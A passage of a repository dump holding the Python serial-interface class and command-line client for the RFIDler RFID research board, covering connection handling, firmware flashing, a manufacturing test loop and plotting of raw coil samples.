self.connection.write(cmd_str)\n        except serial.serialutil.SerialException as _e:\n            print(f\"SerialException: {_e}\")\n            return False, f\"Send SerialException {_e}\"\n        # except Exception as _e:\n        except (OSError, ValueError) as _e:\n            print(f\"Exception: Send: '{_e}'\")\n            return False, \"Serial communications failure (send)!\"\n\n        if self.Debug:\n            print(\"\")\n        try:\n            result = self.connection.read(1).decode('ascii')\n            if self.Debug:\n                print('\\r\\n<<<', end='')\n            if result not in '.+!?':\n                if self.Debug:\n                    print(result, '(fail!)')\n                return False, result\n            if self.Debug:\n                print(result)\n            return True, result\n        except serial.serialutil.SerialException as _e:\n            print(f\"SerialException: {_e}\")\n            return False, f\"Read SerialException {_e}\"\n        except (OSError, ValueError) as _e:\n            print(f\"Exception: Read: {_e}\")\n            return False, \"Serial communications failure (receive)!\"\n\n    def command(self, tosend: str) -> Tuple[bool, str]:\n        \"\"\"\n        send command\n        args: command line to send\n        return: True/False, [data line(s) or reason for failure]\n        note that CR/LF is stripped from each data item\n            but all other whitespace is left intact (including blank lines)\n        \"\"\"\n        # pylint: disable=too-many-return-statements\n        if self.connection is None:\n            return False, \"Device not connected\"\n\n        result, data = self.send_command(tosend)\n        if not result:\n            return False, data\n        # check type of result\n        # if '?', command wasn't recognised\n        if data == '?':\n            return False, \"Command not recognised!\"\n        # if '!', command failed\n        if data == '!':\n            data = self.connection.readline().decode('ascii').rstrip('\\r\\n')\n            return False, data\n        # if '.', we're done\n        if data == '.':\n            return True, ''\n        # if '+', we need to get results. '*' terminates.\n        if data == '+':\n            data = []\n            while 42:\n                item = self.connection.readline()\n                item = item.decode('ascii').rstrip('\\r\\n')\n\n                if self.Debug:\n                    print('<<<', item)\n                if item == '*':\n                    return True, data\n                data.append(item)\n\n        # possible return / fall through that should never happen\n        return False, ''\n\n    def connect(self, port: str = None, baud: int = 115200, timeout: int = 1) -> Tuple[bool, str]:\n        \"\"\"\n        open a serial connection to RFIDler and switch to API mode\n        args: port =None, baud= 115200, timeout= 1\n        if port is None, code will scan for the correct port\n        return: True/False, reason for failure\n        \"\"\"\n        if port is None:\n            port = self._find_port()\n            if port is None:\n                return False, \"Unable to find correct port\"\n\n            print(f\"Using: {port}\")\n        else:\n            print(f\"Given: {port}\")  # PMS #\n\n        try:\n            self.connection = serial.Serial(port, baud, timeout=timeout)\n            self.connection.flushInput()\n            self.connection.flushOutput()\n        except serial.serialutil.SerialException as _e:\n            # print(f\"SerialException: {_e}\")\n            return False, f\"Can't open serial port: {_e}\"\n        except (OSError, ValueError) as _e:\n            return False, f\"Exception Error: {_e}\"\n\n        # Save for later if needed elsewhere\n        self.used_port = port\n\n        # make sure we're in API mode\n        # send it twice as RFIDler's serial buffer may already have some crap in it\n        self.command(\"API\")\n        while self.connection.readline():\n            continue\n        if not self.command(\"API\"):\n            return False, \"Can't switch to API mode\"\n        return True, \"\"\n\n    # RFIDler ports values:\n    #   description: RFIDler-LF\n    #   manufacturer: Aperture Labs Ltd.\n    #   hwid: USB VID:PID=1D50:6098 SER=17130C2E00E1 LOCATION=1-1\n    #   pid: 24728\n    #   vid: 7504\n    #   serial_number 17130C2E00E1\n    #   product RFIDler-LF\n    def _find_port(self) -> Union[str, None]:\n        \"\"\"find serial device\"\"\"\n\n        if self.Debug:\n            print(\"find serial device\")\n        ports = serial.tools.list_ports.comports()\n        for p in ports:\n            if self.Debug:\n                print(f\"{p.name}: {p.description} [{p.hwid}]\")\n\n            if (p.description and p.description.startswith(\"RFIDler\")) or \\\n               (p.product and p.product.startswith(\"RFIDler\")):\n                return p.device\n\n        return None\n\n    def disconnect(self) -> bool:\n        \"\"\"\n        close serial connection to RFIDler\n        \"\"\"\n        try:\n            if self.connection:\n                self.connection.close()\n                self.connection = None\n        except Exception as _e:   # pylint: disable=broad-exception-caught\n            pass\n        return True\n"
  },
  {
    "path": "python/rfidler.py",
    "content": "#!/usr/bin/env python3.12\n\n\"\"\"\n/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************\n\n*/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\"\"\"\n# pylint: disable=invalid-name, missing-function-docstring\n\nimport sys\nimport select\nimport os\nimport time\nfrom typing import Tuple\nimport xml.etree.ElementTree as ET\nfrom collections import Counter\nfrom itertools import groupby\n\ntry:\n    from matplotlib import pyplot\nexcept ImportError as e:\n    print(\"Failed to import matplotlib.pyplot\")\n    pyplot = None\n\ntry:\n    import numpy as np\nexcept ImportError as e:\n    print(\"Failed to import numpy\")\n    correlate = None\n\nimport RFIDler\n\n# if we want Partial functionality with missing libraries\n#\n# try:\n#     from matplotlib import pyplot\n# except ImportError as e:\n#     pyplot=None\n#\n# # later....\n# if not pyplot\n#    print PLot command not supported without 'matplotlib\" lib\n\n# global flags\nQuiet = False\nVerbose = False\n\n# global constants\nADC_To_Volts = 0.012890625  # 3.3 / 256\nPOT_To_Volts = 0.019607843  # 5 / 255\n\ncmd_help = {\n    'DEBUG <OFF|ON>':                   'Show serial comms',\n    'FLASH[P] <IMAGE.HEX>':             'Set bootloader mode and flash IMAGE.HEX [in Production mode]',\n    'PLOT[N] <SAMPLES>':                'Plot raw coil samples ([N]o local clock)',\n    'STORE[N] <SAMPLES> <file_prefix>': 'Save raw coil samples to file ([N]o local clock)',\n    'LOAD <file>':                      'Load and plot saved sample-file',\n    'FC <field_freq>':                  'Set Field Clock value Freq from KHz',\n    'PROMPT <MESSAGE>':                 'Print MESSAGE and wait for <ENTER>',\n    'QUIET':                            'Suppress confirmation of sent command (show results only)',\n    'VERBOSE':                          'Be slightly more Verbose',\n    'SLEEP <SECONDS>':                  'Pause for SECONDS',\n    'RESET':                            'Wipe & Reset RFIDler to defaults',\n    'HELP COMMANDS':                    'Print RFIDler Commands',\n    'TEST':                             'Run hardware manufacturing test suite',\n}\n\n\n# should this take command name args for more detailed help???\ndef print_help() -> None:\n    \"\"\" Print help test \"\"\"\n    print(f\"    usage: {sys.argv[0]} [PORT] <COMMAND> [ARGS] [COMMAND [ARGS] ...]\")\n    print(\"    Commands:\")\n\n    max_len = max(len(x) for x in cmd_help) + 3\n\n    for c, y in cmd_help.items():\n        print(f\"\\t{c:{max_len}} {y}\")\n\n    print(\"\"\"\n   Commands will be executed sequentially.\n   Unrecognized commands will be passed directly to RFIDler.\n   Commands with arguments to be passed directly should be quoted. e.g. \"SET TAG FDXB\"\n\"\"\")\n\n\ndef print_rfidler_help(rfer):\n\n    print(\"RFIDler HELP:\")\n\n    h_result, h_rdata = rfer.command(\"HELP\")\n    if h_result:\n        for h_line in h_rdata:\n            print(h_line)\n    else:\n        output('Failed: ' + h_rdata)\n\n    h_result, h_rdata = rfer.command('TAGS')\n    if h_result:\n        sys.stdout.write('\\n')\n        for h_line in h_rdata:\n            sys.stdout.write(h_line.rstrip())\n        # print()\n        sys.stdout.write('\\n\\n')\n\n\ndef run_test() -> None:\n    \"\"\"\n        perform hardware tests for manufacturing assurance\n        requires hardware to be placed on test jig\n    \"\"\"\n    # pylint: disable=line-too-long\n    test = 1\n    print('Testing H/W. Hit <ESC> to end.')\n    while 42:\n        print('waiting for board...')\n        while 42:\n            rfidler.disconnect()\n            t_result, _ = rfidler.connect(rfidler.used_port)\n            if t_result:\n                break\n            if os.path.exists('/dev/RFIDlerBL'):\n                print('bootloader mode - flashing...')\n                os.system(\n                    'mphidflash -r -w /home/software/unpacked/RFIDler/firmware/Pic32/RFIDler.X/dist/debug/production/RFIDler.X.production.hex')\n\n        os.system('clear')\n        test_result = 'Pass'\n        print('Starting test', test)\n        for t in 'PING', \\\n                 'DEBUGOFF 0', \\\n                 'DEBUGON 4', \\\n                 'DEBUGON 2', 'SET TAG HITAG2', 'UID', 'DEBUGOFF 2', \\\n                 'DEBUGON 3', 'SET TAG INDALA64', 'UID', 'DEBUGOFF 3', \\\n                 'TEST-WIEGAND', 'TEST-SC', 'TEST-SD', \\\n                 'SET TAG HID26', 'ENCODE 12345678 HID26', 'EMULATOR BG', 'WIEGAND-OUT OFF', 'TEST-WIEGAND-READ 1':\n            print(f'  Test {t} - ', end='')\n            sys.stdout.flush()\n            for _z in range(10):\n                t_result, t_rdata = rfidler.command(t)\n                if t_result:\n                    break\n            print(t_result, t_rdata)\n            if not t_result:\n                test_result = 'Fail!'\n\n        # now wait for board to change\n        os.system('figlet ' + test_result)\n        test += 1\n        print('load next board')\n        while 42:\n            try:\n                t_result, t_rdata = rfidler.command('PING')\n                if not t_result:\n                    break\n            except Exception as _e:   # pylint: disable=broad-exception-caught\n                break\n\n\ndef flash_board(cmd: str, cmd_arg: str) -> None:\n    \"\"\"\n    reload firmware\n    uses \"mphidflash\" command\n    \"\"\"\n    # pylint: disable=too-many-branches\n    if cmd in ['FLASH', 'FLASHP']:\n\n        if not os.path.exists(cmd_arg):\n            print(f'could file/open code file: {cmd_arg}')\n            sys.exit(True)\n\n        if not os.path.exists('/dev/RFIDlerBL'):\n            f_result, _reason = rfidler.command('BL')\n            if not result:\n                print('could not set bootloader mode!')\n                sys.exit(True)\n\n        rfidler.disconnect()\n        time.sleep(1)\n        if os.path.exists('/dev/RFIDlerBL'):\n            print('bootloader mode - flashing...')\n            os.system(f'mphidflash -r -w {cmd_arg}')\n        else:\n            print('bootloader not detected!')\n            sys.exit(True)\n\n        print('Waiting for reboot...')\n        while 42:\n            f_result, _reason = rfidler.connect(rfidler.used_port)\n            if f_result:\n                f_result, _rdata = rfidler.command('PING')\n                if f_result:\n                    break\n\n        if cmd == 'FLASHP':\n            time.sleep(1)\n            print('Load next board')\n            # wait for disconnect\n            while 42:\n                try:\n                    time.sleep(.5)\n                    f_result, _rdata = rfidler.command('PING')\n                    if not f_result:\n                        break\n                except Exception as _e:   # pylint: disable=broad-exception-caught\n                    break\n            print('Waiting for board...')\n            # wait for new board in normal or bootloader mode\n            while 42:\n                f_result, _reason = rfidler.connect(rfidler.used_port)\n                if f_result:\n                    f_result, _rdata = rfidler.command('PING')\n                    if f_result:\n                        break\n                rfidler.disconnect()\n                if os.path.exists('/dev/RFIDlerBL'):\n                    break\n\n\ndef output(message: str) -> None:\n    \"\"\" optionally print message \"\"\"\n    if not Quiet:\n        print(message)\n\n\ndef store_data(dat, filename_prefix=\"dump\") -> None:\n    \"\"\" Write data to file \"\"\"\n    root = ET.fromstring(''.join(dat))\n    # wrap it in an ElementTree instance, and save as XML\n    tree = ET.ElementTree(root)\n    ET.indent(tree, space=\"  \", level=0)\n    timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n    filename = f\"{filename_prefix}_{timestr}.xml\"\n    tree.write(filename)\n    output(f\"Wrote dump to {filename}\")\n\n\ndef load_data(fname: str) -> Tuple[bool, list]:\n    \"\"\" Read data to file \"\"\"\n    try:    # ET.ElementTree write in \"utf-8\" format by default\n        with open(fname, \"r\", encoding=\"utf-8\") as f:\n            lines = f.readlines()\n    except Exception as _e:  # pylint: disable=broad-exception-caught\n        return [False, str(_e)]\n\n    return [True, lines]\n\n\ndef autocorr(data) -> Tuple[list, list]:\n    \"\"\"\n    See\n    http://stackoverflow.com/questions/643699/how-can-i-use-numpy-correlate-to-do-autocorrelation\n    \"\"\"\n    x1 = 400\n    x2 = 1000\n\n    result1 = np.correlate(data, data[:x1], mode='full')\n    result2 = np.correlate(data, data[:x2], mode='full')\n\n    if Verbose:\n        print(len(result1))\n        print(len(result2))\n        print(len(data))\n\n    # return (result1, result2)\n    return (result1[x1 - 1:], result2[x2 - 1:])\n\n\n# Pylink hates this funtion\n#\n# unsubscriptable-object false positive: https://github.com/pylint-dev/pylint/issues/4577\ndef plot_data(data) -> None:\n    \"\"\"\n        process and plot data with pyplot\n    \"\"\"\n    # pylint: disable=too-many-statements, too-many-branches, too-many-locals, line-too-long\n\n    if pyplot is None or np is None:\n        print(\"plot functionally not available: missing library\")\n        return\n\n    # create graphic objects\n    # fig, ax1 = pyplot.subplots()\n    fig, (ax1, ax_corr) = pyplot.subplots(2)\n\n    fig.canvas.manager.set_window_title('RFIDler plot')\n\n    # we need second subplot for voltage scale\n    ax2 = ax1.twinx()\n\n    # get xml sections\n    xml = ET.fromstring(''.join(data))\n    samples = xml.find('Samples')\n    # tag = xml.find('Tag')\n    # pots = xml.find('Pots')\n\n    title = xml.find('Tag/Tag_Type/Data').text\n    pyplot.title(f'RFIDler - {title}')\n\n    # raw coil data\n    # raw = samples.find('Coil_Data')\n    # data = raw.find('Data')\n    # out = data.text.replace(' ', '')\n\n    # out = samples.find('Coil_Data/Data').text.replace(' ', '')\n    # out = list(bytes.fromhex(out))\n    # out[:] = [x * ADC_To_Volts for x in out]\n    # r = range(len(out))\n\n    # way faster\n    out = samples.find('Coil_Data/Data').text.replace(' ', '')\n    out = np.frombuffer(bytes.fromhex(out), np.dtype('B')) * ADC_To_Volts\n    r = range(out.size)\n\n    ax2.plot(r, out, color='b', label=\"Raw Data\")\n\n    # reader HIGH/LOW\n    # raw = samples.find('Reader_Output')\n    # data = raw.find('Data')\n    # out = data.text.replace(' ', '')\n    out = samples.find('Reader_Output/Data').text.replace(' ', '')\n\n    # out = map(ord, out.decode(\"hex\"))\n    out = list(bytes.fromhex(out))\n\n    # Use a counter to help calc bit period\n#    count = 0\n#    prev = out[0]\n#    bitcounts = []\n\n    # convert to value that will show on scale\n#    for i in range(len(out)):\n#        if out[i] != prev:\n#            prev = out[i]\n#            bitcounts.append(count)\n#            count = 1\n#        else:\n#            count = count +1\n#\n#        if out[i]:\n#            out[i] = 258\n#        else:\n#            out[i] = 4\n\n    if Verbose:\n        # Use a counter to help calc bit period\n\n        # way faster way to count\n        # https://stackoverflow.com/questions/55141181/count-number-of-consecutive-elements-in-a-list#answer-55141306\n        bitcounts = [len(list(g)) for k, g in groupby(out)]\n\n        print(\"Bit periods\")\n        print(bitcounts)\n\n        print(\"Most common bit periods:\")\n        print(\"\\n\".join([\"%d : %d\" % kv for kv in Counter(bitcounts).most_common(10)]))  # pylint: disable=consider-using-f-string\n\n    ax1.plot(r, [258 if x else 4 for x in out], '-', color='g',\n             label='Reader Logic')\n    # show compressed version\n    ax1.plot(r, [320 if x else 300 for x in out], '-', color='g')\n\n    #   Not  yet finished\n    ax_corr2 = ax_corr.twinx()\n    # Show autocorrelation\n    # Some test-data\n    # x_data = [0]*200+[1,2,3,4,5,6,7,8,9,500]*10+[0]*200\n    # x_data = x_data+x_data+x_data+x_data\n    # Autocorrelation should be best at 500, there's a 500 repeater period (2000 samples)\n    (autoc_1, autoc_2) = autocorr(out)\n    ax_corr.title.set_text(\"Autocorrelation\")\n    c1 = ax_corr.plot(range(len(autoc_1)), autoc_1, \"-\", color='m',\n                      label=\"Autocorrelation (full)\", alpha=0.5)\n    c2 = ax_corr2.plot(range(len(autoc_2)), autoc_2, \"-\", color='g',\n                       label=\"Autocorrelation (500 samples)\", alpha=0.5)\n    # consolidate legend labels\n    lns = c1 + c2\n    labs = [ln.get_label() for ln in lns]\n    leg_corr = ax_corr.legend(lns, labs, loc=0, fontsize='x-small',\n                              draggable=True)  # bbox_to_anchor=(1.04, 1))\n    # leg_corr2 = ax_corr2.legend(loc=0, fontsize='x-small', draggable=True)  # bbox_to_anchor=(1.04, 1))\n\n    # bit period\n    # raw = samples.find('Bit_Period')\n    # data = raw.find('Data')\n    # out = data.text.replace(' ', '')\n    out = samples.find('Bit_Period/Data').text.replace(' ', '')\n    out = list(bytes.fromhex(out))\n\n    # show bit period as single vertical stripe\n    prev = out[0]\n    fill = 0\n    fill1 = 0\n    toggle = True\n\n    for i, out_dat in enumerate(out):\n        if out_dat != prev:\n            prev = out_dat\n            if fill1:\n                fill = fill1\n                fill1 = i\n            else:\n                fill1 = i\n            # fill every other stripe\n            if toggle:\n                ax1.axvspan(fill, fill1, facecolor='r', alpha=0.1)\n            toggle = not toggle\n\n#    # find first stripe and add legend\n#    for i in range(len(out)):\n#        if out[i]:\n#            break\n\n    for i, out_dat in enumerate(out):\n        if out_dat:\n            break\n    data = xml.find('Tag/Data_Rate/Data').text\n    # Do we want this Rotated (Can't read it)\n    ax1.text(i + ((fill1 - fill) / 2), -10, f'Bit Period\\n{data} FCs',\n             color='r', alpha=0.5,  # rotation=270,\n             ha='center', va='top')\n\n    # pot settings\n    color = 'r'\n    for element in 'Pot_High', 'Pot_Low':\n        # raw = pots.find( element.strip())\n        # data = raw.find('Data').text\n        data = xml.find(f'Pots/{element}/Data').text\n        # convert pot setting to volts\n        fdata = float(data)\n        out = [fdata * POT_To_Volts] * len(r)\n        ax2.plot(r, out, '--', color=color,\n                 label=f\"{element} {(fdata * POT_To_Volts):0.2f}v (Pot: {data})\")\n        # label=element + ' %0.2fv (Pot: %s)' % (float(data) * POT_To_Volts, data))\n        # ax2.text(len(x) + 16, out[0], '%s: %0.2fv\\n(%s)' % (element, float(data) * POT_To_Volts, data), color= color)\n        color = 'm'\n\n    # done - label and show graph\n    # ADC scale needs to match volts (5v / 3.3v)\n    ax1.set_ylim(-5, 256 * 1.515151515)\n\n    pyplot.xlim(0, len(r))\n\n    ax1.set_ylabel('Signal Strength (ADC)', labelpad=8.0)\n    ax1.set_xlabel('Sample Number')\n\n    leg_ax1 = ax1.legend(bbox_to_anchor=(0, 1), loc='lower left', fontsize='x-small', draggable=True)\n    # volts scale up to 5.0v as that is max pot setting\n    # note that the ADC will clip at 3.3v, so although we can use a higher pot setting,\n    # we can't see token samples above 3.3v\n    ax2.set_ylim(0, 5.0)\n\n    # use \"labelpad\" so it moves off tic marks on right\n    ax2.set_ylabel('Signal Strength (Volts)', rotation=270, labelpad=8.0)\n    leg_ax2 = ax2.legend(bbox_to_anchor=(1, 1), loc='lower right', fontsize='x-small', draggable=True)\n\n    # tight_layout does subplots_adjust automatically\n    # pyplot.subplots_adjust(hspace=0.5)\n\n    # https://matplotlib.org/stable/users/explain/axes/tight_layout_guide.html\n    # https://matplotlib.org/stable/api/_as_gen/matplotlib.figure.Figure.tight_layout.html\n    pyplot.tight_layout()\n\n    pyplot.show()\n\n\n# part arg is now optional\nif __name__ == '__main__':\n\n    port = None\n    no_connect = False\n    av = sys.argv[1:]\n    ac = len(av)\n\n    if ac == 0 or av[0] == \"HELP\":\n        print_help()\n        sys.exit(True)\n\n    rfidler = RFIDler.RFIDler()\n\n    if av and av[0] == \"-n\":\n        av.pop(0)\n        no_connect = True\n        sys.exit(True)\n\n    # if there is more then 1 arg AND 1st arg is a path\n    # assume it is a path to port\n    if av and av[0][0] == '/':\n        port = av.pop(0)\n\n    if no_connect is False:\n        # if port is None, connect() will scan for the correct port\n        result, reason = rfidler.connect(port)\n        del no_connect\n        if not result:\n            print(f'Warning - could not open serial port: {port or reason}')\n            print(f'Reason: {reason}')\n            # sys.exit(1)\n\n    # plot_data = None\n    # should we have a -png option to have pylot save a PNG ?\n    # process each command\n    while av:\n        command = av.pop(0)\n        command_up = command.upper()\n        command_option = None\n\n        if rfidler.Debug or Verbose:\n            print(f\"COMMAND is '{command}'\")\n\n        if command_up == 'VERBOSE':\n            Verbose = True\n            continue\n\n        if command_up.startswith('NOVERB'):\n            Verbose = False\n            continue\n\n        if command_up == 'DEBUG':\n            if av:\n                command_option = av.pop(0).upper()\n                if command_option == 'ON':\n                    rfidler.Debug = Verbose = True\n                elif command_option == 'OFF':\n                    rfidler.Debug = Verbose = False\n                else:\n                    print(f'Unknown option: {command_option}')\n                    sys.exit(True)\n            else:\n                print(f\"{command} missing argument: ON / OFF\")\n                sys.exit(1)\n            continue\n\n        # HELP gets you the python help, \"HELP COMMANDS\" or \"HELP RFIDLER\"\n        # will get the RFIDler board help info\n        if command_up in ['HELP', 'USAGE', \"?\"]:\n            if av:\n                command_option = av.pop(0).upper()\n                if command_option in ['COMMANDS', 'RFIDLER']:\n                    print_rfidler_help(rfidler)\n                else:\n                    print_help()\n            else:\n                print_help()\n            sys.exit(0)\n\n        if command_up in ['VERSION']:\n            print(f\"RFIDler.py : {RFIDler.__VERSION__}\")\n            if rfidler.connection:\n                result, rdata = rfidler.command(command)\n                print(f\"RFIDler Firmware: {rdata[0]}\")\n            continue\n\n        if command_up in ['FLASH', 'FLASHP']:\n            if ac:\n                command_option = av.pop(0)\n                flash_board(command_up, command_option)\n            else:\n                print(f\"{command} missing argument\")\n                sys.exit(1)\n            continue\n\n        if command_up == 'XKCD':\n            if pyplot is None:\n                print(f\"command {command} functionally not available without 'matplotlib' lib\")\n            else:\n                pyplot.xkcd()\n            continue\n\n        if command_up in ['CONNECT', 'RECONNECT']:\n            if Verbose:\n                print(\"(re)connect\")\n            rfidler.disconnect()  # Always returns True\n            result, rdata = rfidler.connect(rfidler.used_port)\n            print(f\"Conn result: {result} {rdata}\")\n            continue\n\n        if command_up in ['RESET']:\n            if Verbose:\n                print(\"WIPE/REBOOTING\")\n            result, rdata = rfidler.command(\"WIPE\")\n            if result is False:\n                output('Reboot Failed: ' + rdata)\n            result, rdata = rfidler.command(\"REBOOT\")\n            if result is False:\n                output('Reboot Failed: ' + rdata)\n                sys.exit(1)\n            if av:  # Only need to reconnect this if no more args\n                rfidler.disconnect()\n                time.sleep(2)\n                result, rdata = rfidler.connect(rfidler.used_port)\n                if result is False:\n                    output('(re)connect Failed: ' + rdata)\n                    sys.exit(1)\n            continue\n\n        if command_up == 'FC':\n            if not av:  # We should add a ranges / value test\n                print(f\"command:{command} missing Freq option (in KHz)\")\n                sys.exit(1)\n\n            command_option = av.pop(0).upper()\n\n            if command_option.endswith('KHZ'):\n                command_option = command_option[:-3]\n\n            try:\n                command_option = float(command_option)\n            except ValueError:\n                print(f\"command:{command} invalid value {command_option}\")\n                print(\"\\texpecting value in Khz\")\n                sys.exit(1)\n\n            command_option = int(100000 // command_option)\n\n            if Verbose:\n                print(f\"setting FC to {command_option}\")\n\n            result, rdata = rfidler.command(f'SET FC {command_option}')\n            if result is False:\n                output('Failed: ' + rdata)\n                sys.exit(1)\n            continue\n\n        # This Command logic is a mess\n        if command_up in ['PLOT', 'PLOTN', 'STORE', 'STOREN', 'LOAD']:\n\n            if av:\n                command_option = av.pop(0)\n            else:\n                print(f\"command:{command} option(s) missing\")\n                sys.exit(1)\n\n            if command_up in ['PLOT', 'STORE']:\n                # if command_option.isdigit() ??\n                result, rdata = rfidler.command(f'ANALOGUE {command_option}')\n            elif command_up in ['PLOTN', 'STOREN']:\n                # if command_option.isdigit() ??\n                result, rdata = rfidler.command(f'ANALOGUEN {command_option}')\n            elif command_up in ['LOAD']:\n                result, rdata = load_data(command_option)\n            else:\n                print(\"Command Parse Error: This should never happen\")\n                sys.exit(1)\n\n            if result:\n                if command_up in ['PLOT', 'PLOTN', 'LOAD']:\n                    try:\n                        plot_data(rdata)\n                    except KeyboardInterrupt as _e:\n                        print(\"KeyboardInterrupt: exiting.....\")\n                        continue\n\n                elif command_up in ['STORE', 'STOREN']:\n                    # Store\n                    if av:\n                        command_option = av.pop(0)\n                    else:\n                        print(f\"command:{command} file_prefix option missing\")\n                        sys.exit(1)\n                    store_data(rdata, command_option)\n                else:\n                    print(\"Command Parse Error: This should never happen\")\n                    sys.exit(1)\n\n            else:\n                output(f'{command}: Failed: ' + rdata)\n                sys.exit(1)\n\n            continue\n\n        if command_up == 'PROMPT':\n            if av:\n                command_option = av.pop(0)\n            else:\n                command_option = '-->'\n            input(command_option)\n            continue\n\n        # perform hardware tests for manufacturing assurance\n        # requires hardware to be placed on test jig\n        if command_up == 'TEST':\n            try:\n                run_test()\n            except KeyboardInterrupt as _e:\n                print(\"KeyboardInterrupt: exiting.....\")\n                continue\n\n        if command_up == 'SLEEP':\n            if av:\n                command_option = float(av.pop(0))\n            else:\n                print(\"command: SLEEP option missing\")\n                sys.exit(1)\n\n            output(f'Sleeping for {command_option} seconds')\n            time.sleep(command_option)\n            continue\n\n        if command_up == 'TERMINAL':\n            while 42:\n                while rfidler.connection.inWaiting():\n                    sys.stdout.write(rfidler.connection.readline(1))\n                    sys.stdout.flush()\n                # send typed characters\n                while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:\n                    x = sys.stdin.read(1)\n                    rfidler.connection.write(x)\n                    # read back echo\n                    x = rfidler.connection.read(1)\n                    sys.stdout.write(x)\n                    sys.stdout.flush()\n\n        # set quiet flag so we only see responses, not sent commands\n        if command_up == 'QUIET':\n            Quiet = True\n            Verbose = False\n            continue\n\n        # catchall - pass command directly\n        output(f\"sending {command}\")\n        sys.stdout.flush()\n        result, rdata = 